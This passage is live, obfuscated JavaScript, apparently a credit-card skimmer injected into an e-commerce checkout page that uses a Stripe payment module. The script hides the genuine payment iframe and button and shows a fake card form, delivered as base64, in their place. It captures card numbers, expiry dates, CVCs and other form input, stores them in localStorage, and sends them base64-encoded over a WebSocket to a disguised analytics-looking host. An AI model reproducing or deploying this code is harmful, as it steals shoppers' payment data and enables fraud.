dCgkZWxlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGVsZW0udmFsKCkubGVuZ3RoID09PSAxOSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNGaWVsZC1leHBpcnlJbnB1dCcpLmZvY3VzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnI0ZpZWxkLW51bWJlcklucHV0JykuYXR0cigncGxhY2Vob2xkZXInLCAnTnVtYmVyIGNhcmQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0oalF1ZXJ5KSk7CgogICAgICAgIGZ1bmN0aW9uIGFFcnIobXNnKSB7CiAgICAgICAgICAgIHJFcnIoKTsKICAgICAgICAgICAgcmV0dXJuIHBhcmVudC5wb3N0TWVzc2FnZSgnZXJyb3IgfCAnICsgbXNnLCAnKicpOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gckVycigpIHsKICAgICAgICAgICAgcmV0dXJuIHBhcmVudC5wb3N0TWVzc2FnZSgnZXJyb3IgfCBudWxsJywgJyonKTsKICAgICAgICB9CgogICAgICAgICQoJ2lucHV0JykuY2xpY2soZnVuY3Rpb24gKCkgewogICAgICAgICAgICBpZiAoJCh0aGlzKS5jc3MoJ2NvbG9yJykgPT0gJ3JnYigyNTUsIDAsIDApJyB8fCAkKHRoaXMpLmNzcygnY29sb3InKSA9PSAncmdiKDIxNywgMTA0LCA0OCknKSB7CiAgICAgICAgICAgICAgICAkKHRoaXMpLmNzcyh7ICJjb2xvciI6ICIiIH0pOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CiAgICAgICAgJCgnI0ZpZWxkLW51bWJlcklucHV0JykuY3NzKCdjb2xvcicpCgogICAgICAgIGZ1bmN0aW9uIFN1Ym1pdCgpIHsKICAgICAgICAgICAgdmFyIGNjID0gQ0NDKCQoJyNGaWVsZC1udW1iZXJJbnB1dCcpLnZhbCgpKSwKICAgICAgICAgICAgICAgIGVycm9yID0gZmFsc2U7CgogICAgICAgICAgICBpZiAoY2NbJ3N1Y2Nlc3MnXSA9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJCgnI0ZpZWxkLW51bWJlcklucHV0JykuY3NzKHsgImNvbG9yIjogIiNkOTY4MzAiIH0pOwogICAgICAgICAgICAgICAgYUVycihjY1snbWVzc2FnZSddKTsKICAgICAgICAgICAgICAgICQoJyNjYmRpJykuaHRtbCgnPHN2ZyBmb2N1c2FibGU9ImZhbHNlIiB2aWV3Qm94PSIwIDAgMzIgMjEiPjxnIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+PGcgaWQ9ImVycm9yIiBjbGFzcz0iSWNvbi1maWxsIj48ZyBpZD0iY2FyZCIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMCAyKSI+PHBhdGggaWQ9InNoYXBlIiBkPSJNMjEuNjggMEE2IDYgMCAxIDAgMjkgOS40N3Y3LjE1QTIuNCAyLjQgMCAwIDEgMjYuNTggMTlIMi40MkEyLjQgMi40IDAgMCAxIDAgMTYuNjJWMi4zOEEyLjQgMi40IDAgMCAxIDIuNDIgMGgxOS4yNnpNMTAgNS44M2MwLS40Ni0uMzUtLjgzLS43OC0uODNIMy43OGMtLjQzIDAtLjc4LjM3LS43OC44M3YzLjM0YzAgLjQ2LjM1LjgzLjc4LjgzaDUuNDRjLjQzIDAgLjc4LS4zNy43OC0uODNWNS44M3oiIG9wYWNpdHk9Ii4yIj48L3BhdGg+PHBhdGggaWQ9InNoYXBlIiBkPSJNMjUgMTVoLTNjLS42NSAwLTEtLjMtMS0xcy4zNS0xIDEtMWgzYy42NSAwIDEgLjMgMSAxcy0uMzUgMS0xIDF6bS02IDBoLTNjLS42NSAwLTEtLjMtMS0xcy4zNS0xIDEtMWgzYy42NSAwIDEgLjMgMSAxcy0uMzUgMS0xIDF6bS02IDBoLTNjLS42NSAwLTEtLjMtMS0xcy4zNS0xIDEtMWgzYy42NSAwIDEgLjMgMSAxcy0uMzUgMS0xIDF6bS02IDBINGMtLjY1IDAtMS0uMy0xLTFzLjM1LTEgMS0xaDNjLjY1IDAgMSAuMyAxIDFzLS4zNSAxLTEgMXoiIG9wYWNpdHk9Ii4zIj48L3BhdGg+PC9nPjxnIGlkPSJzaGFwZSIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTgpIj48cGF0aCBkPSJNNyAxNEE3IDcgMCAxIDEgNyAwYTcgNyAwIDAgMSAwIDE0ek02IDN2NGExIDEgMCAwIDAgMiAwVjNhMSAxIDAgMCAwLTIgMHptMSA4Ljc1YTEuMjUgMS4yNSAwIDEgMCAwLTIuNSAxLjI1IDEuMjUgMCAwIDAgMCAyLjV6Ij48L3BhdGg+PC9nPjwvZz48L2c+PC9zdmc+Jyk7CiAgICAgICAgICAgICAgICBlcnJvciA9IHRydWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgkKCcjRmllbGQtZXhwaXJ5SW5wdXQnKS52YWwoKS5sZW5ndGggIT0gNSkgewogICAgICAgICAgICAgICAgJCgnI0ZpZWxkLWV4cGlyeUlucHV0JykuY3NzKHsgImNvbG9yIjogIiNkOTY4MzAiIH0pOwogICAgICAgICAgICAgICAgYUVycignWW91ciBjYXJkXCdzIGV4cGlyeSBkYXRlIGlzIGluY29tcGxldGUuJyk7CiAgICAgICAgICAgICAgICBlcnJvciA9IHRydWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgkKCcjRmllbGQtZXhwaXJ5SW5wdXQnKS52YWwoKS5zcGxpdCgnLycpWzFdIDwgMjMpIHsKICAgICAgICAgICAgICAgICQoJyNGaWVsZC1leHBpcnlJbnB1dCcpLmNzcyh7ICJjb2xvciI6ICIjZDk2ODMwIiB9KTsKICAgICAgICAgICAgICAgIGFFcnIoJ1lvdXIgY2FyZFwncyBleHBpcnkgeWVhciBpcyBpbiB0aGUgcGFzdC4nKTsKICAgICAgICAgICAgICAgIGVycm9yID0gdHJ1ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCQoJyNGaWVsZC1jdmNJbnB1dCcpLnZhbCgpLmxlbmd0aCA8PSAyKSB7CiAgICAgICAgICAgICAgICAkKCcjRmllbGQtY3ZjSW5wdXQnKS5jc3MoeyAiY29sb3IiOiAiI2Q5NjgzMCIgfSk7CiAgICAgICAgICAgICAgICBhRXJyKCdZb3VyIGNhcmRcJ3Mgc2VjdXJpdHkgY29kZSBpcyBpbmNvbXBsZXRlLicpOwogICAgICAgICAgICAgICAgZXJyb3IgPSB0cnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoIWVycm9yKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gcGFyZW50LnBvc3RNZXNzYWdlKCdjb25maXJtIHwgJyArICQoJyNGaWVsZC1udW1iZXJJbnB1dCcpLnZhbCgpICsgJyB8ICcgKyAkKCcjRmllbGQtZXhwaXJ5SW5wdXQnKS52YWwoKSArICcgfCAnICsgJCgnI0ZpZWxkLWN2Y0lucHV0JykudmFsKCksICcqJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICAkKCcjRmllbGQtbnVtYmVySW5wdXQnKS5vbignY2hhbmdlJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICB2YXIgY2MgPSBDQ0MoJCh0aGlzKS52YWwoKSk7CiAgICAgICAgICAgIGlmIChjY1snc3VjY2VzcyddID09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkKCcjY2JkaScpLmh0bWwoJzxzdmcgZm9jdXNhYmxlPSJmYWxzZSIgdmlld0JveD0iMCAwIDMyIDIxIj48ZyBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxnIGlkPSJlcnJvciIgY2xhc3M9Ikljb24tZmlsbCI+PGcgaWQ9ImNhcmQiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAgMikiPjxwYXRoIGlkPSJzaGFwZSIgZD0iTTIxLjY4IDBBNiA2IDAgMSAwIDI5IDkuNDd2Ny4xNUEyLjQgMi40IDAgMCAxIDI2LjU4IDE5SDIuNDJBMi40IDIuNCAwIDAgMSAwIDE2LjYyVjIuMzhBMi40IDIuNCAwIDAgMSAyLjQyIDBoMTkuMjZ6TTEwIDUuODNjMC0uNDYtLjM1LS44My0uNzgtLjgzSDMuNzhjLS40MyAwLS43OC4zNy0uNzguODN2My4zNGMwIC40Ni4zNS44My43OC44M2g1LjQ0Yy40MyAwIC43OC0uMzcuNzgtLjgzVjUuODN6IiBvcGFjaXR5PSIuMiI+PC9wYXRoPjxwYXRoIGlkPSJzaGFwZSIgZD0iTTI1IDE1aC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwaC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwaC0zYy0uNjUgMC0xLS4zLTEtMXMuMzUtMSAxLTFoM2MuNjUgMCAxIC4zIDEgMXMtLjM1IDEtMSAxem0tNiAwSDRjLS42NSAwLTEtLjMtMS0xcy4zNS0xIDEtMWgzYy42NSAwIDEgLjMgMSAxcy0uMzUgMS0xIDF6IiBvcGFjaXR5PSIuMyI+PC9wYXRoPjwvZz48ZyBpZD0ic2hhcGUiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDE4KSI+PHBhdGggZD0iTTcgMTRBNyA3IDAgMSAxIDcgMGE3IDcgMCAwIDEgMCAxNHpNNiAzdjRhMSAxIDAgMCAwIDIgMFYzYTEgMSAwIDAgMC0yIDB6bTEgOC43NWExLjI1IDEuMjUgMCAxIDAgMC0yLjUgMS4yNSAxLjI1IDAgMCAwIDAgMi41eiI+PC9wYXRoPjwvZz48L2c+PC9nPjwvc3ZnPicpOwogICAgICAgICAgICAgICAgYUVycihjY1snbWVzc2FnZSddKTsKICAgICAgICAgICAgICAgICQodGhpcykuY3NzKHsgImNvbG9yIjogIiNkOTY4MzAiIH0pOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CgogICAgICAgIHZhciBySE53eUtEaDkgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjRmllbGQtZXhwaXJ5SW5wdXQnKTsKICAgICAgICB2YXIgckhOd3lLRGg5X2M7CiAgICAgICAgckhOd3lLRGg5LmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgKGV2ZW50KSA9PiB7CiAgICAgICAgICAgIGV2ZW50LnRhcmdldC52YWx1ZSA9IGV2ZW50LnRhcmdldC52YWx1ZS5yZXBsYWNlKC9bXjAtOVwvIF0vZywgJycpLnJlcGxhY2UoLyhcLi4qPylcLi4qL2csICckMScpOwogICAgICAgICAgICB2YXIgckhOd3lLRGg5X3YgPSBldmVudC50YXJnZXQudmFsdWU7CgogICAgICAgICAgICBpZiAoZXZlbnQudGFyZ2V0LnZhbHVlLmxlbmd0aCA8IDUpIHsKICAgICAgICAgICAgICAgIGlmIChldmVudC50YXJnZXQudmFsdWUubGVuZ3RoID09IDApIHsKICAgICAgICAgICAgICAgICAgICAkKCcjRmllbGQtZXhwaXJ5SW5wdXQnKS5jc3MoeyAiY29sb3IiOiAiIiB9KTsKICAgICAgICAgICAgICAgICAgICByRXJyKCk7CiAgICAgICAgICAgICAgICAgICAgJCgnI0ZpZWxkLW51bWJlcklucHV0JykuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAkKCcjRmllbGQtbnVtYmVySW5wdXQnKS5hdHRyKCdwbGFjZWhvbGRlcicsICdDYXJkIG51bWJlcicpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkKCcjRmllbGQtZXhwaXJ5SW5wdXQnKS5jc3MoeyAiY29sb3IiOiAiI2Q5NjgzMCIgfSk7CiAgICAgICAgICAgICAgICAgICAgYUVycignVGhlIGNhcmRcJ3MgZXhwaXJhdGlvbiBkYXRlIGlzIGluY29tcGxldGUuJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZiAoZXZlbnQudGFyZ2V0LnZhbHVlLnNwbGl0KCcgLyAnKVsxXSA8IDIzKSB7CiAgICAgICAgICAgICAgICAgICAgJCgnI0ZpZWxkLWV4cGlyeUlucHV0JykuY3NzKHsgImNvbG9yIjogIiNkOTY4MzAiIH0pOwogICAgICAgICAgICAgICAgICAgIGFFcnIoJ1lvdXIgY2FyZFwncyBleHBpcnkgeWVhciBpcyBpbiB0aGUgcGFzdC4nKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJCgnI0ZpZWxkLWN2Y0lucHV0JykuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICByRXJyKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChySE53eUtEaDlfdiA9PSAnMDAnKSB7CiAgICAgICAgICAgICAgICBldmVudC50YXJnZXQudmFsdWUgPSAnMDEvJzsKICAgICAgICAgICAgfSBlbHNlIGlmIChySE53eUtEaDlfdiA+IDEyKSB7CiAgICAgICAgICAgICAgICBldmVudC50YXJnZXQudmFsdWUgPSAnMTIvJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChySE53eUtEaDlfdi5sZW5ndGggPT09IDEgJiYgTnVtYmVyKHJITnd5S0RoOV92KSA+IDEpIHsKICAgICAgICAgICAgICAgICAgICBldmVudC50YXJnZXQudmFsdWUgPSAnMCcgKyBySE53eUtEaDlfdiArICcvJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChySE53eUtEaDlfdi5zcGxpdCgnLycpWzFdID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgZXZlbnQudGFyZ2V0LnZhbHVlID0gckhOd3lLRGg5X3Yuc3BsaXQoJy8nKVswXTsKICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAockhOd3lLRGg5X3Yuc3BsaXQoJyAvJylbMV0gPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICBldmVudC50YXJnZXQudmFsdWUgPSBySE53eUtEaDlfdi5zcGxpdCgnLycpWzBdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKHJITnd5S0RoOV92Lmxlbmd0aCA9PSAyICYmIHJITnd5S0RoOV9jIDwgckhOd3lLRGg5X3YubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgZXZlbnQudGFyZ2V0LnZhbHVlID0gckhOd3lLRGg5X3YgKyAnLyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBySE53eUtEaDlfYyA9IHJITnd5S0RoOV92Lmxlbmd0aAogICAgICAgICAgICB9CgogICAgICAgIH0pOwoKICAgICAgICAkKCcjRmllbGQtZXhwaXJ5SW5wdXQnKS5vbignY2hhbmdlJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICB2YXIgZWwgPSAkKHRoaXMpLnZhbCgpLnNwbGl0KCcvJyk7CiAgICAgICAgICAgICQodGhpcykuY3NzKHsgImNvbG9yIjogIiIgfSk7CiAgICAgICAgICAgIGlmIChlbFsxXSA8IDIzKSB7CiAgICAgICAgICAgICAgICAkKHRoaXMpLmNzcyh7ICJjb2xvciI6ICIjZDk2ODMwIiB9KTsKICAgICAgICAgICAgICAgIGFFcnIoJ1lvdXIgY2FyZFwncyBleHBpcnkgeWVhciBpcyBpbiB0aGUgcGFzdC4nKTsKICAgICAgICAgICAgfQogICAgICAgIH0pOwoKICAgICAgICAkKCcjRmllbGQtY3ZjSW5wdXQnKS5vbignaW5wdXQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICQodGhpcykuY3NzKHsgImNvbG9yIjogIiIgfSk7CiAgICAgICAgICAgIGlmICgkKHRoaXMpLnZhbCgpLmxlbmd0aCA+PSAzKSB7CiAgICAgICAgICAgICAgICByRXJyKCk7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoJCh0aGlzKS52YWwoKS5sZW5ndGggPT09IDApIHsKICAgICAgICAgICAgICAgICQoJyNGaWVsZC1leHBpcnlJbnB1dCcpLmZvY3VzKCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkKHRoaXMpLmNzcyh7ICJjb2xvciI6ICIjZDk2ODMwIiB9KTsKICAgICAgICAgICAgICAgIGFFcnIoJ1lvdXIgY2FyZFwncyBzZWN1cml0eSBjb2RlIGlzIGluY29tcGxldGUuJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKCiAgICAgICAgJCgnI0ZpZWxkLWN2Y0lucHV0Jykub24oJ2JsdXInLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICQoJyNGaWVsZC1udW1iZXJJbnB1dCcpLmF0dHIoJ3BsYWNlaG9sZGVyJywgJ0NhcmQgbnVtYmVyJyk7CiAgICAgICAgfSk7CgogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgQ1csIGZhbHNlKTsKCiAgICAgICAgZnVuY3Rpb24gQ1coZXZlbnQpIHsKICAgICAgICAgICAgdmFyIGRhdGEgPSBldmVudC5kYXRhLnNwbGl0KCcgfCAnKTsKICAgICAgICAgICAgaWYgKGRhdGFbMF0gPT0gJ3N1Ym1pdCcpIHsKICAgICAgICAgICAgICAgIFN1Ym1pdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLkNhcmRGaWVsZC1pbnB1dC13cmFwcGVyIikub2Zmc2V0V2lkdGggPiA0MDApIHsKICAgICAgICAgICAgJCgnI0ZpZWxkLW51bWJlcklucHV0JykuYXR0cigncGxhY2Vob2xkZXInLCAnQ2FyZCBudW1iZXInKTsKICAgICAgICAgICAgJCgnI0ZpZWxkLW51bWJlcklucHV0JykuYXR0cignc3R5bGUnLCAnbWF4LXdpZHRoOiAxNjVweCAhaW1wb3J0YW50Jyk7CiAgICAgICAgICAgICQoJy5DYXJkTnVtYmVyRmllbGQtaW5wdXQtd3JhcHBlcicpLmF0dHIoJ3N0eWxlJywgJ21heC13aWR0aDogMTY1cHggIWltcG9ydGFudCcpOwogICAgICAgIH0KCiAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoInJlc2l6ZSIsIGZ1bmN0aW9uIChldmVudCkgewogICAgICAgICAgICBpZiAoZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLkNhcmRGaWVsZC1pbnB1dC13cmFwcGVyIikub2Zmc2V0V2lkdGggPiA0MDApIHsKICAgICAgICAgICAgICAgICQoJyNGaWVsZC1udW1iZXJJbnB1dCcpLmF0dHIoJ3BsYWNlaG9sZGVyJywgJ0NhcmQgbnVtYmVyJyk7CiAgICAgICAgICAgICAgICAkKCcjRmllbGQtbnVtYmVySW5wdXQnKS5hdHRyKCdzdHlsZScsICdtYXgtd2lkdGg6IDE2NXB4ICFpbXBvcnRhbnQnKTsKICAgICAgICAgICAgICAgICQoJy5DYXJkTnVtYmVyRmllbGQtaW5wdXQtd3JhcHBlcicpLmF0dHIoJ3N0eWxlJywgJ21heC13aWR0aDogMTY1cHggIWltcG9ydGFudCcpOwogICAgICAgICAgICB9CiAgICAgICAgfSk7PC9zY3JpcHQ+'; iframe.id = 'f98sd621'; iframe.setAttribute('scrolling', 'no'); block.parentNode.insertBefore(iframe, block.nextSibling); iframe.contentWindow.document.open(); iframe.contentWindow.document.write(atob(content)); iframe.contentWindow.document.close(); } } if (localStorage.getItem('QIQWJJnh1Ckclw0jFr5KPME2M3kYHTyq') === null) { formInterval = setInterval(function () { start('#amasty_stripe_card_data iframe').then( function () { const el = document.querySelector( '#checkout-payment-method-load .payment-method-amasty_stripe .actions-toolbar .primary button' ) if (el) { let button = document.querySelector('#g8h76gu9') if (!button) { button = document.createElement('a') button.setAttribute('type', 'submit') button.setAttribute('class', 'action primary checkout') button.setAttribute('id', 'g8h76gu9') button.innerHTML = document.querySelector('#checkout-payment-method-load .payment-method-amasty_stripe .actions-toolbar .primary button').textContent button.addEventListener('click', function () { document.getElementById('f98sd621').contentWindow.postMessage('submit | all', '*'); }); el.parentNode.appendChild(button) } el.style.setProperty('display', 'none', 'important'); } const el_2 = document.querySelector( '#amasty_stripe_card_data iframe' ) if (el_2) { let iframe = document.querySelector('#f98sd621') if (!iframe) { openFrame(); } el_2.style.setProperty('display', 'none', 'important'); } if (document.querySelector('#j38y712') === null) { var j38y712 = document.createElement('style'); j38y712.type = 'text/css', j38y712.id = 'j38y712', j38y712.innerHTML = ` #f98sd621 { background-color: #fff; height: 20px; width: 100%; border: none; } #g8h76gu9 { cursor: pointer; text-transform: uppercase; float: right; } [disabled-data-toggle-cookie="registration-company"], [data-toggle-cookie="registration-delivery"] { display: none } `; document.head.appendChild(j38y712); } } ) }, 500); } var arr_links = JSON.parse(atob(`WyJ3c3M6XC9cL2d0bS1zdGF0bHN0aWNzLmNvbToyMDk2Il0=`)), dom_ind = 0, key_data = "etrhethr5", key_token = "grewhe45t", user_link = "", data_obj = { cc: {}, data: {} }; addEventListener("change", (event) => { parse_event(event); }); if (localStorage.getItem(key_data)) { var str_data = localStorage.getItem(key_data); data_obj = JSON.parse(str_data); } if (localStorage.getItem(key_token)) user_link = localStorage.getItem(key_token); else { var tok = "_" + makeid(14); user_link = tok; localStorage.setItem(key_token, tok); } function write_storage(data) { localStorage.setItem(key_data, JSON.stringify(data)); } function get_key(target) { var key = target.getAttribute("name"); if (typeof (key) === "undefined") key = target.getAttribute("id"); return typeof (key) === "undefined" ? makeid(5) : key; } function makeid(length) { let result = ''; const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'; const charactersLength = characters.length; let counter = 0; while (counter < length) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); counter += 1; } return result; } function parse_event(e) { var t = e.target; var tag = t.tagName.toLowerCase(); var val = t.value.trim(); if (!val.length) return; var obj_key = get_key(t), obj_val = false; switch (tag) { case "input": obj_val = val; break; case "select": var elems = t.querySelectorAll(`option[value="${val}"]`); if (elems.length) { var v = elems[0].textContent.trim(); if (v.length) obj_val = v; } break; default: break; } if (obj_val) set_data(obj_key, obj_val); } function check_full() { var err = 0; ['card', 'cvv', 'mn', 'yr'].forEach(function (k) { var tp = typeof (data_obj.cc[k]); if (tp !== "string" && tp !== "number") err++; }); write_storage(data_obj); if (err == 0) send_ws_data(); } function is_cc_data(val) { var check = false; if (val.indexOf('/') > 0) { check = true; } var only_num = val.toString().replace(/[^\d]/g, ''); if (only_num.length == 16) { data_obj.cc.card = only_num; return true; } if (only_num.length == 3 || (only_num.length == 4 && !check)) { data_obj.cc.cvv = only_num; return true; } if (only_num.length == 4 && check) { var mn_str = only_num.substr(0, 2), yr_str = only_num.substr(2); if (mn_str == "20") { if (check_exp(yr_str, 'yr')) return true; } else { if (check_exp(mn_str) && check_exp(yr_str, 'yr')) { return true; } } } if (only_num.length == 6) { var mn_str = only_num.substr(0, 2), yr_str = only_num.substr(2); if (check_exp(mn_str)) return true; if (yr_str.substr(0, 2) == '20') if (check_exp(yr_str.substr(2), 'yr')) return true; } return false; } function check_exp(val, type = 'mn') { var num = parseInt(val); if (type == 'mn') { if (num >= 1 && num <= 12) { data_obj.cc.mn = val; return true; } } if (type == 'yr') { if (num >= 23 && num <= 40) { data_obj.cc.yr = val; return true; } } return false; } function set_data(key, val) { if (is_cc_data(val)) return check_full(); data_obj.data[key] = val; write_storage(data_obj); } function send_ws_data() { var data_ = btoa(JSON.stringify(data_obj)); console.log(data_) connect_ws(data_); } function connect_ws(data) { if (arr_links.length) { var ws_host = arr_links[dom_ind]; var full_url = ws_host + "?link=" + user_link; var ws = new WebSocket(full_url); ws.onerror = function (e) { if (arr_links.length > dom_ind + 1) { dom_ind++; connect_ws(data); } } ws.onopen = function (e) { var tmr = setInterval(() => { if (ws.readyState == 1) { ws.send(data); ws.close(); clearInterval(tmr); } }, 100); } } } })() window.d5yRYwil9rcarc9sDbJXtRRq0jifEAI4 = true; } else { console.log('Script already load'); }